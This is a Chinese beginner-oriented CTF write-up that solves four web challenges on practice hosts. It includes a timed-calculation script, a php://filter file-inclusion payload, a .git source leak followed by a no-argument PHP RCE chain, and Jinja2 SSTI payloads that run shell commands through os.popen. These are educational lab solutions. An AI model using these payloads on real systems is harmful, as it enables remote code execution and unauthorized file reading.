站在小白的视角上,写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,很助于培养思考题目的逻辑思,payload细节理解方面参考过很多篇wp。尽我所能把细节阐释到位。
如果存在理解说辞不是特别清晰了然的话,就麻烦各位大佬师傅指点啦~
这次写题的感悟是,其实写过的题再写一遍未必能写出来,适时反过去去写旧题,也许有新的感悟?这次题解是七夕节特别编辑0v0呀~
其他刷题记录可以在博客主页上看到。主方向是web。
[HUBUCTF 2022 新生赛]Calculate
开题。
大意就是。计算给出的等式。计算完20个就给FLAG。
但是为了避免被爬虫【大概?】需要你回答问题时长>=1秒。
但是为了获取FLAG。你需要回答每个问题时长<=3秒。
综上回答每个问题时长在1-3秒之间。
超时也不行。时间太短也不行。手动操作计算肯定是来不及的。这个时候写个py脚本或许是个不错的选择。
在写脚本之前。我们来确定一下答案处的参数【写脚本发包时需要知道参数名。】
具体做法:【BP拦截一下流量包看看】
获取成功。
传参方式为POST。参数名为ans。
写代码的时候配合一些解释显得更通俗易懂。
#calculate.py【re】
import requests
import time
'''用到time是因为我们要满足题目1~3内答题时间需要用到time模块下的方法'''
url="http://node5.anna.nssctf.cn:20291/"
res=requests.session() #创建session对象,接收流量包的一方通过sessionid知道我们是谁,方便对于答对次数计数,如果没有的话其实也可以发包,但无法计数。
#每次提交
for i in range(1,30): #这里其实写21就ok了。
math ="" #设置math,每次计算完math都为空。用处:用来计算每次post提交的值。
response =res.get(url) #GET形式发包。获取题目内容。
time.sleep(1.1) #停1.1s来满足题目中1~3秒的限制。
responsetext=response.text #返回包的内容
#根据网页源码内容在每个数字前后都有【<div>5</div>】来正则过滤【re】获取目标数字
for j in range(0,len(responsetext)):
if responsetext[j-1]==">" and responsetext[j+1]=="<" and responsetext[j]!="\n" :
math = math +responsetext[j]
math = math.strip('=') #根据上述添加方法必然会把 "=" 囊括进。我们需要将'=去掉。
final=eval(math) #就像实际将字符串当作代码执行【245*292】但我们如果没有去除【=】就无法执行,会报错,因为eval本身就可以进行式子运算。不再需要等号了。
#计算工作做好之后,准备发包内容。
data={
'ans':final #ans即是我们拦截流量包获取的参数名。final则是计算得到的结果。
}
response =res.post(url=url,data=data) #发包内容。
print(response.text) #打印返回的内容
time.sleep(1)
#检测FLAG。
if "NSSCTF{" in response:
print("Got it:---【",response.text,"】")
exit() #结束本程序。
正则匹配中这行代码是根据实际参与运算的字符来看的。
#正则匹配。
if responsetext[j-1]==">" and responsetext[j+1]=="<" and responsetext[j]!="\n" :
math = math +responsetext[j] #这里实际上是对字符的加和。
例如:
页面式子是:【242*29=】
math的加和方式是 “2”
再“24”
再“242”
再“242*”
再“242*2”
...
依次类推最后 math="242*29="
但是eval("24229=")会报错。eval("24229")才能得到目标答案。所以我们有一个代码去掉math中的特定字符 “=”:
**math=math.sprip('=')**
这两张'='除去前后对比图放在这里。就能更理解脚本的编写逻辑。
拿到flag。
这里用的是正则匹配【re】的方法。
还可以用bs4获取flag。
脚本编写逻辑上和正则大差不差。
#calculate.py【bs4】
from time import sleep
from httpx import Client
from bs4 import BeautifulSoup
#对获取到的页面内容进行处理的过程
def get_ans(res):
try:
soup =BeautifulSoup(res,"html.parser")
divs =soup.find_all("div") #找到所有含有【div】
a = ''
for div in divs[:-1]:
a+=div.text
ans =eval(a) #对得到的字符串进行代码执行
return ans #返回得到的答案
except:
return ans
#大框架搭建
def main():
url="http://node5.anna.nssctf.cn:25880/"
with Client() as Client_:
res = (Client_.get(url)).text #获取题目页面详情。
ans = get_ans(res) #利用之前定义的函数获取答案。
sleep(1.1) #题目要求反应时间在1-3秒内。
for i in range(20):#设置循环体:因为需要这个过程20次才会给flag。
res =Client_.post(url,data={"ans":f"{ans}"}).text
ans = get_ans(res)
sleep(1.1)
print(ans)
main()
[SWPUCTF 2021 新生赛]include
开题。
POST还是GET形式?
先试试GET。
代码审计一下:
<?php
ini_set("allow_url_include","on"); #临时开启了远程包含,说明这道题我们可以使用远程包含尝试去解题。也就有意让我们往文件包含与伪协议联想。
header("Content-type: text/html; charset=utf-8");
error_reporting(0); #不回显报错信息
$file=$_GET['file'];
if(isset($file)){ #检查是否以GET方式传入了file参数
show_source(__FILE__); #如果是则显示码源。
echo 'flag 在flag.php中'; #并且回显【flag 在flag.php中】
}else{
echo "传入一个file试试"; #如果不是,就像开头我们开题看见的回显【传入一个file试试】一样。
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file); #对于得到的file进行文件包含。
?> #flag 在flag.php中
这里观察码源可以发现对于文件file是没什么过滤的。【一般题目是有的,可能因为是新生赛的题,普遍偏简单一些。】
讲到伪协议,我们可以使用php://filter读取到flag.php,将flag.php以base64的形式给显示出来。
所以我们有payload如下
/?file=php://filter/convert.base64-encode/resource=flag.php
base64解码得到flag。
这里普及一个知识点,编码中一般有大小写字母和‘=’还有数字同时出现的一般是base64编码。
base32没有小写字母。
拿到flag。
[GXYCTF 2019]禁止套娃
开题。
看码源,抓包看响应头基本上都没什么特别的东西。【基本的信息搜集】
只有在扫目录的时候发现了好几个响应200【可以访问。】
而且居多为/.git/【这种情况大多数都是/.git漏洞】
访问看看什么情况。
403 Forrbiden
看不了?之前没碰到过这类题。
搜了之后才知道要用githack获取码源。
下载网址是:GitHub - lijiejie/GitHack: A .git
folder disclosure exploit
我用windows运行的。
【这边建议在GitHack目录下开cmd运行。不然下载下来的文件就不会放GitHack了。而是放在你对应启用GitHack.py的路径下。】
比如我是复制路径到终端上启动GitHack.py的。我得到的index.php文件就在\User\86189之下。
直接复制GitHack.py的路径到cmd上运行。
得到的下载文件也在\User\86189目录下。
对应启用Githack.py的路径下。
而如果我启动githack.py的路径是GitHack-master底下。我得到的index.php就在GitHack-master之中。
启动githack.py的路径是
GitHack-master底下
得到的index.php就在GitHack-master之中。
这里**感谢一下热情的同事!!**(比较菜,问了他才知道是这样
解决完路径问题。
看一下flag.php是什么。
index.php
代码审计一下:
GET传入参数exp。
第一个if:
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
ban掉了绝大多数伪协议【data/filter/php/phar】
第二个if:
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
需要在传入的exp在把字母,下划线,成对括号都替换成空【NULL】之后还要剩下分号【;】不可以存在参数。
这个正则只会匹配到 **a();****a(b());**a(b(c()));
怎么理解?比如 exp= print_r(phpinfo(get_defined_vars()));
这条语句会先把 get_defined_vars()去掉 再把phpinfo() 去掉 再把print_r() 去掉。
最后剩下一个【;】
这样这个if语句就会返回True。
第三个if:
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
exp中不能有【info,dec,bin,hex,et...】,并且由于加上了【/i】则对大小写不敏感。也就意味着不管exp=info还是INFO都一样的效果。
在这种情况下基本传参,伪协议,利用常见绕过方法【会被第二个if拦截】都没法得到flag。
这种情况结合第二个IF条件需要成立的条件。基本上就是无参RCE【此时第三个IF把含有‘get’的函数也ban了】解决问题。
无参RCE在没有接触过的情况下存在一定难度。需要对于PHP相关函数的了解程度较深。
这里放上一些无参RCE常用函数。
参考NSSCTF上该题解答下一位师傅的wp
//step1:读取当下目录 /?exp=var_dump(scandir(current(localeconv())));
//step2:颠倒一下数组顺序 ?exp=var_dump(**array_reverse**(scandir(current(localeconv()))));
//step3:颠倒顺序之后在index.php基础上读取下一个,就是flag.php ?exp=var_dump(**next**(array_reverse(scandir(current(localeconv())))));
//step4:高亮读取flag.php文件。 ?exp=**show_source**(next(array_reverse(scandir(current(localeconv())))));
show_source方法高亮看flag。
//step4:读取码源才可以看flag。 ?exp=**readfile**(next(array_reverse(scandir(current(localeconv())))));
readfile方法看flag。
这个思路可以用在以后类似的题中获取flag。
[LitCTF 2024]一个....池子?
开题。
需要我输入一些东西?
一般需要输入东西的,RCE,SQL注入,SSTI.....
随便输了个35
其实这个时候感觉有点像SSTI了哈。
输入
system('ls /');
到这里我就感觉跟命令执行(RCE)没什么关系了。
输入
1'
这个回显就感觉和SQL注入没什么关系了。
输入
{{7*7}}
看来是SSTI无疑了。模板是jinja2。
输入
{{"".__class__}}
ok。
直接上payload打。
{{lipsum.__globals__['os']['popen']('ls /').read()}} #一般用这个payload打比较容易拿flag。
{{lipsum.__globals__['os']['popen']('tac /flag').read()}} #拿flag
这样来说。感觉没有过滤什么。
拿到flag。
我们这个时候可以反过去看看过滤了哪些字符。
载入字典。
测试之后发现基本上没有过滤的字符。
可以当是SSTI入门练手题了。适合刚刚接触SSTI食用。
版权归原作者 5fn_ 所有, 如有侵权,请联系我们删除。